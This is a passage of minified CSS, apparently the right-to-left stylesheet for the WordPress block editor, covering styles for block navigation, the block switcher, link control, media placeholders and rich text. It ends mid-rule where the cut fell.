.block-editor-block-navigation-block__menu-cell .components-button.has-icon, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell, .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell .components-button.has-icon { width: 24px; min-width: 24px; padding: 0; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__menu-cell { padding-top: 8px; } .block-editor-block-navigation-leaf .block-editor-block-navigation-block__mover-cell-alignment-wrapper { display: flex; height: 100%; flex-direction: column; align-items: center; } .block-editor-block-navigation-leaf .block-editor-block-mover-button { position: relative; width: 36px; height: 24px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button svg { position: relative; height: 24px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button { align-items: flex-end; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-up-button svg { bottom: -4px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button { align-items: flex-start; } .block-editor-block-navigation-leaf .block-editor-block-mover-button.is-down-button svg { top: -4px; } .block-editor-block-navigation-leaf .block-editor-block-mover-button:focus:enabled { box-shadow: none; outline: none; } .block-editor-block-navigation-leaf .block-editor-block-mover-button:focus { box-shadow: none; outline: none; } .block-editor-block-navigation-leaf .block-editor-block-mover-button:focus::before { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 4px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 4px #fff; outline: 2px solid transparent; } .block-editor-block-navigation-leaf .block-editor-block-mover-button::before { content: ""; position: absolute; display: block; border-radius: 2px; height: 16px; min-width: 100%; right: 0; left: 0; animation: components-button__appear-animation 0.1s ease; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .block-editor-block-navigation-leaf .block-editor-block-mover-button::before { animation-duration: 1ms; } } .block-editor-block-navigation-leaf .block-editor-inserter__toggle { background: #1e1e1e; color: #fff; height: 24px; margin: 6px 1px 6px 6px; min-width: 24px; } .block-editor-block-navigation-leaf .block-editor-inserter__toggle:active { color: #fff; } .block-editor-block-navigation-block-slot__description, .block-editor-block-navigation-block-select-button__description, .block-editor-block-navigation-appender__description { display: none; } .block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-block__contents-container, .block-editor-block-navigation-block__contents-cell .block-editor-block-navigation-appender__container, .block-editor-block-navigation-appender__cell .block-editor-block-navigation-block__contents-container, .block-editor-block-navigation-appender__cell .block-editor-block-navigation-appender__container { display: flex; } .block-editor-block-navigator-indentation { flex-shrink: 0; width: 18px; } .block-editor-block-parent-selector { background: #fff; border-radius: 2px; } .block-editor-block-parent-selector .block-editor-block-parent-selector__button { width: 48px; height: 48px; border: 1px solid #1e1e1e; border-radius: 2px; } .block-editor-block-patterns-list__item { border-radius: 2px; cursor: pointer; margin-top: 16px; transition: all 0.05s ease-in-out; position: relative; border: 1px solid transparent; } .block-editor-block-patterns-list__item:hover { border: 1px solid #007cba; border: 1px solid var(--wp-admin-theme-color); } .block-editor-block-patterns-list__item:focus { box-shadow: inset 0 0 0 1px #fff, 0 0 0 2px #007cba; box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-block-patterns-list__item.is-placeholder { min-height: 100px; } .block-editor-block-patterns-list__item[draggable=true] .block-editor-block-preview__container { cursor: grab; } .block-editor-block-patterns-list__item-title { padding: 4px; font-size: 12px; text-align: center; } .block-editor-block-preview__container { position: relative; width: 100%; overflow: hidden; } .block-editor-block-preview__container.editor-styles-wrapper { padding: 0; margin: 0; } .block-editor-block-preview__container .block-editor-block-preview__content { position: absolute; top: 0; right: 0; transform-origin: top right; text-align: initial; margin: 0; overflow: visible; min-height: auto; } .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point, .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-drop-zone, .block-editor-block-preview__container .block-editor-block-preview__content .reusable-block-indicator, .block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender { display: none; } .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container { padding-right: 0; padding-left: 0; } .block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__layout.is-root-container > .wp-block[data-align=full] { margin-right: 0; margin-left: 0; } .block-editor-block-settings-menu__popover .components-dropdown-menu__menu { padding: 0; } .block-editor-block-styles { display: flex; flex-wrap: wrap; justify-content: space-between; } .block-editor-block-styles__item { width: calc(50% - 4px); margin: 4px 0; flex-shrink: 0; cursor: pointer; overflow: hidden; border-radius: 2px; padding: 6px; display: flex; flex-direction: column; } .block-editor-block-styles__item:focus { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-block-styles__item:hover .block-editor-block-styles__item-preview { border-color: #007cba; border-color: var(--wp-admin-theme-color); } .block-editor-block-styles__item.is-active .block-editor-block-styles__item-label { font-weight: bold; } .block-editor-block-styles__item.is-active .block-editor-block-styles__item-preview { margin: 0; border: 2px solid #1e1e1e; } .block-editor-block-styles__item-preview { outline: 1px solid transparent; padding: 0; margin: 2px; border-radius: 2px; display: flex; overflow: hidden; background: #fff; align-items: center; flex-grow: 1; min-height: 80px; max-height: 160px; } .block-editor-block-switcher__styles__menugroup { position: relative; } .block-editor-block-styles__item-label { text-align: center; padding: 4px 0; } .block-editor-block-switcher { position: relative; } .block-editor-block-switcher__no-switcher-icon, .block-editor-block-switcher__toggle { position: relative; } .components-button.block-editor-block-switcher__toggle, .components-button.block-editor-block-switcher__no-switcher-icon { margin: 0; display: block; height: 48px; } .components-button.block-editor-block-switcher__toggle .block-editor-block-icon, .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon { margin: auto; } .block-editor-block-switcher__toggle-text { margin-right: 8px; } .block-editor-block-switcher__popover { margin-right: 6px; } .components-button.block-editor-block-switcher__no-switcher-icon { width: 48px; } .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-blocks-icon { margin-left: auto; margin-right: auto; } .components-button.block-editor-block-switcher__no-switcher-icon:disabled { opacity: 1; } .components-button.block-editor-block-switcher__no-switcher-icon:disabled, .components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors { color: #1e1e1e !important; } .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon, .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon { height: 100%; position: relative; margin: 0 auto; display: flex; align-items: center; } .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon::before, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon::before, .block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon::before, .block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon::before { top: 8px; left: 8px; bottom: 8px; right: 8px; } .components-popover.block-editor-block-switcher__popover .components-popover__content { min-width: 300px; } .components-popover.block-editor-block-switcher__popover .components-popover__content > div { min-width: auto; display: flex; background: #fff; padding: 0; } .components-popover.block-editor-block-switcher__popover .components-popover__content > div .components-menu-group { padding: 16px; margin: 0; } .block-editor-block-switcher__popover .components-popover__content .block-editor-block-styles { margin: 0 -3px; } .block-editor-block-switcher__popover .components-popover__content .components-panel__body { border: 0; position: relative; z-index: 1; } .block-editor-block-switcher__popover .components-popover__content .components-panel__body + .components-panel__body { border-top: 1px solid #e0e0e0; } .block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container { position: absolute; top: -12px; right: calc(100% + 32px); } .block-editor-block-switcher__preview__popover { display: none; } .block-editor-block-switcher__preview__popover.components-popover { margin-right: 4px; margin-top: 11px; } @media (min-width: 782px) { .block-editor-block-switcher__preview__popover { display: block; } } .block-editor-block-switcher__preview__popover .components-popover__content { box-shadow: none; border: 1px solid #1e1e1e; background: #fff; border-radius: 2px; } .block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview { width: 300px; height: auto; padding: 16px; } .block-editor-block-switcher__preview-title { margin-bottom: 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon { width: 48px; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle { height: 48px; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform { width: 48px; height: 48px; } .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform, .block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform { padding: 12px; } .block-editor-block-types-list { list-style: none; padding: 4px; margin-right: -4px; margin-left: -4px; overflow: hidden; display: flex; flex-wrap: wrap; } .block-editor-block-variation-picker .components-placeholder__instructions { margin-bottom: 0; } .block-editor-block-variation-picker .components-placeholder__fieldset { flex-direction: column; } .block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset { max-width: 90%; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations { display: flex; justify-content: flex-start; flex-direction: row; flex-wrap: wrap; width: 100%; margin: 16px 0; padding: 0; list-style: none; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations > li { list-style: none; margin: 8px 0 0 20px; flex-shrink: 1; width: 75px; text-align: center; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations > li button { display: inline-flex; margin-left: 0; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation { padding: 8px; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 12px; display: block; line-height: 1.4; } .block-editor-block-variation-picker__variation { width: 100%; } .block-editor-block-variation-picker__variation.components-button.has-icon { justify-content: center; width: auto; } .block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary { background-color: #fff; } .block-editor-block-variation-picker__variation.components-button { height: auto; padding: 0; } .block-editor-block-variation-picker__variation::before { content: ""; padding-bottom: 100%; } .block-editor-block-variation-picker__variation:first-child { margin-right: 0; } .block-editor-block-variation-picker__variation:last-child { margin-left: 0; } .block-editor-block-variation-transforms { padding: 0 56px 16px 16px; width: 100%; } .block-editor-block-variation-transforms .components-dropdown-menu__toggle { border: 1px solid #757575; border-radius: 2px; min-height: 30px; width: 100%; position: relative; text-align: right; justify-content: left; padding: 6px 12px; } .block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle { padding-left: 24px; } .block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled) { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px-1px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus)-1px var(--wp-admin-theme-color); } .block-editor-block-variation-transforms .components-dropdown-menu__toggle svg { height: 100%; padding: 0; position: absolute; left: 0; top: 0; } .block-editor-block-variation-transforms__popover .components-popover__content { min-width: 230px; } .block-editor-button-block-appender { display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 8px; width: 100%; height: auto; color: #1e1e1e; box-shadow: inset 0 0 0 1px #1e1e1e; } .is-dark-theme .block-editor-button-block-appender { color: rgba(255, 255, 255, 0.65); box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.65); } .block-editor-button-block-appender:hover { color: #007cba; color: var(--wp-admin-theme-color); box-shadow: inset 0 0 0 1px #007cba; box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); } .block-editor-button-block-appender:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 2px var(--wp-admin-theme-color); } .block-editor-button-block-appender:active { color: #000; } .block-editor-button-block-appender.block-list-appender__toggle { display: flex; flex-direction: row; color: #1e1e1e; box-shadow: none; height: 24px; width: 24px; padding: 0; margin-right: 8px; } .block-editor-button-block-appender.block-list-appender__toggle:active { color: #fff; } .block-editor-button-block-appender.block-list-appender__toggle > svg { width: 24px; background-color: #1e1e1e; color: #fff; border-radius: 2px; } .block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator { margin-bottom: 12px; } .block-editor-color-gradient-control .block-editor-color-gradient-control__button-tabs { display: block; margin-bottom: 12px; } .block-editor-panel-color-gradient-settings .component-color-indicator { vertical-align: text-bottom; } .block-editor-panel-color-gradient-settings__panel-title .component-color-indicator { display: inline-block; } .block-editor-panel-color-gradient-settings.is-opened .block-editor-panel-color-gradient-settings__panel-title .component-color-indicator { display: none; } @media screen and (min-width: 782px) { .block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches { margin-left: 0; } .block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper { margin-left: calc((100% - (28px * 6)) / 5); } .block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper:nth-child(6n+6) { margin-left: 0; } } .block-editor-contrast-checker > .components-notice { margin: 0; } .block-editor-default-block-appender { clear: both; margin-right: auto; margin-left: auto; position: relative; } .block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover { outline: 1px solid transparent; } .block-editor-default-block-appender textarea.block-editor-default-block-appender__content { font-family: inherit; font-size: inherit; border: none; background: none; box-shadow: none; display: block; cursor: text; width: 100%; outline: 1px solid transparent; transition: 0.2s outline; margin-top: 28px; margin-bottom: 28px; resize: none !important; padding: 0 0 0 50px; color: rgba(30, 30, 30, 0.62); } @media (prefers-reduced-motion: reduce) { .block-editor-default-block-appender textarea.block-editor-default-block-appender__content { transition-duration: 0s; } } .is-dark-theme .block-editor-default-block-appender textarea.block-editor-default-block-appender__content { color: rgba(255, 255, 255, 0.65); } .block-editor-default-block-appender .components-drop-zone__content-icon { display: none; } .block-editor-default-block-appender__content { line-height: 1.8; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter, .block-editor-default-block-appender .block-editor-inserter { position: absolute; top: 0; height: 32px; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle, .block-editor-default-block-appender .block-editor-inserter .block-editor-inserter__toggle { margin-left: 0; } .block-editor-block-list__empty-block-inserter, .block-editor-default-block-appender .block-editor-inserter { left: 8px; } @media (min-width: 600px) { .block-editor-block-list__empty-block-inserter, .block-editor-default-block-appender .block-editor-inserter { display: flex; height: 100%; } } .block-editor-block-list__empty-block-inserter:disabled, .block-editor-default-block-appender .block-editor-inserter:disabled { display: none; } @media (min-width: 600px) { .block-editor-default-block-appender .block-editor-inserter { align-items: center; } } .components-font-appearance-control__select { margin-bottom: 24px; } .components-font-appearance-control__select ul li { color: #1e1e1e; text-transform: capitalize; } .block-editor-link-control { position: relative; min-width: 360px; } .components-popover__content .block-editor-link-control { min-width: auto; width: 90vw; max-width: 360px; } .block-editor-link-control__search-input-wrapper { position: relative; } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; width: calc(100% - 32px); display: block; padding: 11px 16px; padding-left: 36px; margin: 16px; position: relative; border: 1px solid #ddd; border-radius: 2px; } @media (prefers-reduced-motion: reduce) { .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .block-editor-link-control .block-editor-link-control__search-input .components-base-control__field { margin-bottom: 0; } .block-editor-link-control__search-error { margin: -8px 16px 16px; } .block-editor-link-control__search-actions { position: absolute; /* * Actions must be positioned on top of URLInput, since the input will grow * when suggestions are rendered. * * Compensate for: * - Input margin ($grid-unit-20) * - Border (1px) * - Vertically, for the difference in height between the input (40px) and * the icon buttons. * - Horizontally, pad to the minimum of: default input padding, or the * equivalent of the vertical padding. */ top: 19px; left: 19px; } .components-button .block-editor-link-control__search-submit .has-icon { margin: -1px; } .block-editor-link-control__search-results-wrapper { position: relative; margin-top: -15px; } .block-editor-link-control__search-results-wrapper::before, .block-editor-link-control__search-results-wrapper::after { content: ""; position: absolute; right: -1px; left: 16px; display: block; pointer-events: none; z-index: 100; } .block-editor-link-control__search-results-wrapper::before { height: 8px; top: 0; bottom: auto; } .block-editor-link-control__search-results-wrapper::after { height: 16px; bottom: 0; top: auto; } .block-editor-link-control__search-results-label { padding: 16px 32px 0; display: block; font-weight: 600; } .block-editor-link-control__search-results { margin: 0; padding: 8px 16px 8px; max-height: 200px; overflow-y: auto; } .block-editor-link-control__search-results.is-loading { opacity: 0.2; } .block-editor-link-control__search-item { position: relative; display: flex; align-items: center; font-size: 13px; cursor: pointer; background: #fff; width: 100%; border: none; text-align: right; padding: 12px 16px; border-radius: 5px; height: auto; } .block-editor-link-control__search-item:hover, .block-editor-link-control__search-item:focus { background-color: #ddd; } .block-editor-link-control__search-item:focus:not(:disabled) { box-shadow: 0 0 0 2px #007cba inset; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset; } .block-editor-link-control__search-item.is-selected { background: #f0f0f0; } .block-editor-link-control__search-item.is-selected .block-editor-link-control__search-item-type { background: #fff; } .block-editor-link-control__search-item.is-current { background: transparent; border: 0; width: 100%; cursor: default; padding: 16px; padding-right: 24px; } .block-editor-link-control__search-item .block-editor-link-control__search-item-header { display: block; margin-left: 8px; overflow: hidden; white-space: nowrap; } .block-editor-link-control__search-item .block-editor-link-control__search-item-icon { margin-left: 1em; min-width: 24px; } .block-editor-link-control__search-item .block-editor-link-control__search-item-info, .block-editor-link-control__search-item .block-editor-link-control__search-item-title { overflow: hidden; text-overflow: ellipsis; padding-left: 24px; } .block-editor-link-control__search-item .block-editor-link-control__search-item-info .components-external-link__icon, .block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon { position: absolute; left: 0; margin-top: 0; } .block-editor-link-control__search-item .block-editor-link-control__search-item-title { display: block; margin-bottom: 0.2em; font-weight: 500; position: relative; } .block-editor-link-control__search-item .block-editor-link-control__search-item-title mark { font-weight: 700; color: #000; background-color: transparent; } .block-editor-link-control__search-item .block-editor-link-control__search-item-title span { font-weight: normal; } .block-editor-link-control__search-item .block-editor-link-control__search-item-info { display: block; color: #757575; font-size: 0.9em; line-height: 1.3; } .block-editor-link-control__search-item .block-editor-link-control__search-item-type { display: block; padding: 3px 8px; margin-right: auto; font-size: 0.9em; background-color: #f0f0f0; border-radius: 2px; } .block-editor-link-control__loading { margin: 16px; display: flex; align-items: center; } .block-editor-link-control__loading .components-spinner { margin-top: 0; } .components-button + .block-editor-link-control__search-create { overflow: visible; padding: 12px 16px; } .components-button + .block-editor-link-control__search-create::before { content: ""; position: absolute; top: -10px; right: 0; display: block; width: 100%; } .block-editor-link-control__search-results div[role=menu] > .block-editor-link-control__search-item.block-editor-link-control__search-item { padding: 10px; } .block-editor-link-control__settings { border-top: 1px solid #ddd; margin: 0; padding: 16px 24px; } .block-editor-link-control__settings :last-child { margin-bottom: 0; } .block-editor-link-control__setting { margin-bottom: 16px; } .block-editor-link-control__setting :last-child { margin-bottom: 0; } .block-editor-link-control .block-editor-link-control__search-input .components-spinner { display: block; } .block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner { position: absolute; right: auto; bottom: auto; /* * Position spinner to the left of the actions. * * Compensate for: * - Input margin ($grid-unit-20) * - Border (1px) * - Vertically, for the difference in height between the input (40px) * and the spinner. * - Horizontally, adjust for the width occupied by the icon buttons, * then artificially create spacing that mimics as if the spinner * were center-padded to the same width as an icon button. */ top: 28px; left: 62px; } .block-editor-link-control__search-item-action { margin-right: auto; flex-shrink: 0; } .block-editor-line-height-control { margin-bottom: 24px; } .block-editor-line-height-control input { display: block; max-width: 60px; } .block-editor-image-size-control { margin-bottom: 1em; } .block-editor-image-size-control .block-editor-image-size-control__row { display: flex; justify-content: space-between; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width, .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height { margin-bottom: 0.5em; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width input, .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height input { line-height: 1.25; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width { margin-left: 5px; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height { margin-right: 5px; } .block-editor-block-list__layout.has-overlay::after { content: ""; position: absolute; top: -14px; left: -14px; bottom: -14px; right: -14px; z-index: 60; } [data-align=full] .has-overlay::after { left: 0; right: 0; } .block-editor-block-types-list__list-item { display: block; width: 33.33%; padding: 0; margin: 0; } .components-button.block-editor-block-types-list__item { display: flex; flex-direction: column; width: 100%; font-size: 13px; color: #1e1e1e; padding: 8px; align-items: stretch; justify-content: center; cursor: pointer; background: transparent; word-break: break-word; border-radius: 2px; border: 1px solid transparent; transition: all 0.05s ease-in-out; position: relative; height: auto; } @media (prefers-reduced-motion: reduce) { .components-button.block-editor-block-types-list__item { transition-duration: 0s; } } .components-button.block-editor-block-types-list__item:disabled { opacity: 0.6; cursor: default; } .components-button.block-editor-block-types-list__item:not(:disabled):hover { border-color: #007cba; border-color: var(--wp-admin-theme-color); color: #007cba !important; color: var(--wp-admin-theme-color) !important; } .components-button.block-editor-block-types-list__item:not(:disabled).is-active { color: #fff; background: #1e1e1e; outline: 2px solid transparent; outline-offset: -2px; } .block-editor-block-types-list__item-icon { padding: 12px 20px; border-radius: 2px; color: #1e1e1e; transition: all 0.05s ease-in-out; } @media (prefers-reduced-motion: reduce) { .block-editor-block-types-list__item-icon { transition-duration: 0s; } } .block-editor-block-types-list__item-icon .block-editor-block-icon { margin-right: auto; margin-left: auto; } .block-editor-block-types-list__item-icon svg { transition: all 0.15s ease-out; } @media (prefers-reduced-motion: reduce) { .block-editor-block-types-list__item-icon svg { transition-duration: 0s; } } .block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon { cursor: grab; } .block-editor-block-types-list__item-title { padding: 4px 2px 8px; font-size: 12px; } .modal-open .block-editor-media-replace-flow__options { display: none; } .block-editor-media-replace-flow__options .components-popover__content > div { padding-top: 16px; } .block-editor-media-replace-flow__indicator { margin-right: 4px; } .block-editor-media-flow__url-input { border-top: 1px solid #1e1e1e; margin-top: 12px; margin-left: -12px; margin-right: -12px; padding: 12px 24px 0; } .block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label { top: 16px; } .block-editor-media-flow__url-input .block-editor-link-control { margin-top: -16px; width: auto; } .block-editor-media-flow__url-input .block-editor-link-control .components-base-control .components-base-control__field { margin-bottom: 0; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title { max-width: 180px; margin-top: 16px; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current { width: auto; padding: 0; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { margin: 16px 0 0 0; width: 100%; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions { left: 4px; } .block-editor-media-flow__error { padding: 0 20px 20px 20px; max-width: 255px; } .block-editor-media-flow__error .components-with-notices-ui { max-width: 255px; } .block-editor-media-flow__error .components-with-notices-ui .components-notice__content { overflow: hidden; word-wrap: break-word; } .block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss { position: absolute; left: 10px; } .block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button { margin-bottom: 0; } .block-editor-media-placeholder__url-input-form { display: flex; } .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field { width: 100%; flex-grow: 1; border: none; border-radius: 0; margin: 2px; } @media (min-width: 600px) { .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field { width: 300px; } } .block-editor-media-placeholder__url-input-submit-button { flex-shrink: 1; } .block-editor-media-placeholder__button { margin-bottom: 0.5rem; } .block-editor-media-placeholder__cancel-button.is-link { margin: 1em; display: block; } .block-editor-media-placeholder.is-appender { min-height: 0; } .block-editor-media-placeholder.is-appender:hover { cursor: pointer; box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .block-editor-multi-selection-inspector__card { display: flex; align-items: flex-start; padding: 16px; } .block-editor-multi-selection-inspector__card-content { flex-grow: 1; } .block-editor-multi-selection-inspector__card-title { font-weight: 500; margin-bottom: 5px; } .block-editor-multi-selection-inspector__card-description { font-size: 13px; } .block-editor-multi-selection-inspector__card .block-editor-block-icon { margin-right: -2px; margin-left: 10px; padding: 0 3px; width: 36px; height: 24px; } .block-editor-plain-text { box-shadow: none; font-family: inherit; font-size: inherit; color: inherit; line-height: inherit; border: none; padding: 0; margin: 0; width: 100%; } .block-editor-responsive-block-control { margin-bottom: 28px; border-bottom: 1px solid #ccc; padding-bottom: 14px; } .block-editor-responsive-block-control:last-child { padding-bottom: 0; border-bottom: 0; } .block-editor-responsive-block-control__title { margin: 0; margin-bottom: 0.6em; margin-right: -3px; } .block-editor-responsive-block-control__label { font-weight: 600; margin-bottom: 0.6em; margin-right: -3px; } .block-editor-responsive-block-control__inner { margin-right: -1px; } .block-editor-responsive-block-control__toggle { margin-right: 1px; } .block-editor-responsive-block-control .components-base-control__help { border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } .block-editor-format-toolbar .components-dropdown-menu__toggle { justify-content: center; } .show-icon-labels .block-editor-format-toolbar .components-button.has-icon { width: auto; } .show-icon-labels .block-editor-format-toolbar .components-button.has-icon svg { display: none; } .show-icon-labels .block-editor-format-toolbar .components-button.has-icon::after { content: attr(aria-label); } .block-editor-rich-text__editable > p:first-child { margin-top: 0; } .block-editor-rich-text__editable [data-rich-text-placeholder] { pointer-events: none; } .block-editor-rich-text__editable [data-rich-text-placeholder]::after { content: attr(data-rich-text-placeholder); opacity: 0.62; } .block-editor-rich-text__editable:focus { outline: none; } .block-editor-rich-text__editable:focus [data-rich-text-format-boundary] { border-radius: 2px; } .block-editor-rich-text__editable:focus:not(.keep-placeholder-on-focus) [data-rich-text-placeholder]::after { display: none; } figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]::before { opacity: 0.8; } .components-popover.block-editor-rich-text__inline-format-toolbar { z-index: 99998; } .components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content { width: auto; min-width: auto; margin-bottom: 8px; box-shadow: none; border: 1px solid #1e1e1e; border-radius: 2px; background-color: #fff; } .components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group, .components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar { border: none; } .components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control, .components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle { min-width: 48px; min-height: 48px; padding-right: 12px; padding-left: 12px; } .block-editor-skip-to-selected-block { position: absolute; top: -9999em; } .block-editor-skip-to-selected-block:focus { height: auto; width: auto; display: block; font-size: 14px; font-weight: 